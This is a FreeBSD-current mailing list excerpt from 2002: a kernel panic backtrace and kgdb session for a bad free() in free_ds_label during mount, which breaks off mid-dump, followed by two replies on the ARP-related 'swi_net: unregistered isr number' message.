Stopped at Debugger+0x41: xorl%eax,%eax
db trace
Debugger(c03dfcfa) at Debugger+0x41
panic(c03ddee0,3ce000,3ce000,1,c8eed1c1) at panic+0xd8
free(3ce000,c04416c0,1,c8eed1c1,c93f5a08) at free+0x55
free_ds_label(c8eed1c1,1) at free_ds_label+0x21
dsgone(c93c64d8) at dsgone+0x1b
dsopen(c93a2100,2000,0,c93c64d8,c93c64dc) at dsopen+0x71
diskopen(c93a2100,3,2000,c93bc100,c93f5ae0) at diskopen+0xc4
spec_open(c93f5ae0,c93f5b04,c033b7ce,c93f5ae0,c045ee80) at spec_open+0x12b
spec_vnoperate(c93f5ae0,c045ee80,c8f2f690,0,c3f75a00) at
spec_vnoperate+0x15
ffs_mountfs(c8f2f690,c93cea00,c93bc100,c045ede0,c045ee80) at
ffs_mountfs+0x1aa
ffs_mount(c93cea00,c93f7580,bfbff1a4,c93f5c18,c93bc100) at ffs_mount+0x5f6
vfs_mount(c93bc100,c8f33020,c93f7580,0,bfbff1a4) at vfs_mount+0x6e6
mount(c93bc100,c93f5d20,0,0,0) at mount+0x6a
syscall(2f,2f,2f,0,0) at syscall+0x223
syscall_with_err_pushed() at syscall_with_err_pushed+0x1b
--- syscall (21, FreeBSD ELF, mount), eip = 0x804bcef, esp = 0xbfbff148,
ebp = 0xbfbff214 ---
Remote debugging using /dev/cuaa0
Debugger (msg=0xc03dfcfa panic) at machine/atomic.h:227
227 ATOMIC_STORE_LOAD(int, cmpxchgl %0,%1, xchgl %1,%0)
(kgdb) up
#1 0xc02538d8 in panic (
fmt=0xc03ddee0 free: address %p(%p) has not been allocated.\n)
at ../../../kern/kern_shutdown.c:477
477 Debugger (panic);
(kgdb) up
#2 0xc024abc5 in free (addr=0x3ce000, type=0xc04416c0)
at ../../../kern/kern_malloc.c:238
(kgdb) up
#3 0xc02639c1 in free_ds_label (ssp=0xc8eed1c1, slice=1)
at ../../../kern/subr_diskslice.c:858
858 free(lp, M_DEVBUF);
(kgdb) list
853
854 sp = ssp-dss_slices[slice];
855 lp = sp-ds_label;
856 if (lp == NULL)
857 return;
858 free(lp, M_DEVBUF);
859 set_ds_label(ssp, slice, (struct disklabel *)NULL);
860 }
861
862
(kgdb) inspect ssp
$2 = (struct diskslices *) 0xc8eed1c1
(kgdb) inspect slice
$3 = 1
(kgdb) inspect *ssp
$4 = {dss_cdevsw = 0xdeadc0de, dss_first_bsd_slice = 0, dss_nslices = 2,
dss_oflags = 0, dss_secmult = 1, dss_secshift = 0, dss_secsize = 512,
dss_slices = {{ds_offset = 0, ds_size = 4096, ds_type = 0, ds_label =
0x0,
ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0,
ds_size = 4096, ds_type = 0, ds_label = 0x3ce000,
ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset =
117440512,
ds_size = 0, ds_type = 12629504, ds_label = 0xc0b601,
ds_openmask = 2 '\002', ds_wlabel = 182 '¶'}, {ds_offset = 12629507,
ds_size = 12629508, ds_type = 12629509, ds_label = 0xc0b609,
ds_openmask = 7 '\a', ds_wlabel = 182 '¶'}, {ds_offset = 12629512,
ds_size = 12629513, ds_type = 12629514, ds_label = 0xc0b60b,
ds_openmask = 12 '\f', ds_wlabel = 182 '¶'}, {ds_offset = 12629517,
ds_size = 12629518, ds_type = -1597983217, ds_label = 0xc8ef6b,
ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0,
ds_size = 3288334336, ds_type = 13163892, ds_label = 0x0,
ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0,
ds_size = 0, ds_type = 0, ds_label = 0x0, ds_openmask = 0 '\000',
ds_wlabel = 0 '\000'}, {ds_offset = 0, ds_size = 0, ds_type =
8388608,
ds_label = 0x0, ds_openmask = 241 'ñ', ds_wlabel = 181 'µ'}, {
ds_offset = 12629489, ds_size = 12629490, ds_type = 12629491,
ds_label = 0xc0b5f4, ds_openmask = 245 'õ', ds_wlabel = 181 'µ'}, {
ds_offset = 12629494, ds_size = 12629495, ds_type = 12629496,
ds_label = 0xc0b5f9, ds_openmask = 250 'ú', ds_wlabel = 181 'µ'}, {
ds_offset = 12629499, ds_size = 12629500, ds_type = 12629501,
ds_label = 0xc0b5fe, ds_openmask = 255 'ÿ', ds_wlabel = 181 'µ'}, {
ds_offset = 155668, ds_size = 0, ds_type = 0, ds_label = 0x0,
ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0,
ds_size = 0, ds_type = 0, ds_label = 0x0, ds_openmask = 0 '\000',
ds_wlabel = 0 '\000'}, {ds_offset = 0, ds_size = 0, ds_type = 0,
ds_label = 0x1800, ds_openmask = 211 'Ó', ds_wlabel = 238 'î'},
{
ds_offset = 805634303, ds_size = 13168339, ds_type = 0, ds_label =
0x0,
ds_openmask
Re: Minor things: swi_net: unregistered isr number
John Baldwin wrote: On 25-Apr-2002 Jan Stocker wrote: My -current system gives me a swi_net: unregistered isr number: 18. too. I cant find any reply to this old subject. May anyone know where it comes from? It seems to trigger whenever there is traffic while the IP is 0.0.0.0, even for non-DHCP stuff. I'm not sure what is causing it. Protocol 18 is ARP. The message only happens when the network code is up, but before the ARP protocol handler is registered. -- Terry To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Minor things: swi_net: unregistered isr number
On Thu, 25 Apr 2002, Peter Wemm wrote: This is well known. If we recieve an ARP frame before we sent one, then we print this. eg: a broadcast ARP packet will trigger it. dhclient etc use bpf etc so ARP isn't initialized at this point. We could just put this block of code from arp_rtrequest() into arp_init(). LIST_INIT(llinfo_arp); timeout(arptimer, (caddr_t)0, hz); register_netisr(NETISR_ARP, arpintr); I'm not sure why it should to be in arp_rtrequest() in the first place. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | [EMAIL PROTECTED] | 2 x '84 Volvo 245DL| ix86,sparc,pmax | | http://www.jurai.net/~winter | For Great Justice! | ISO8802.5 4ever | To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
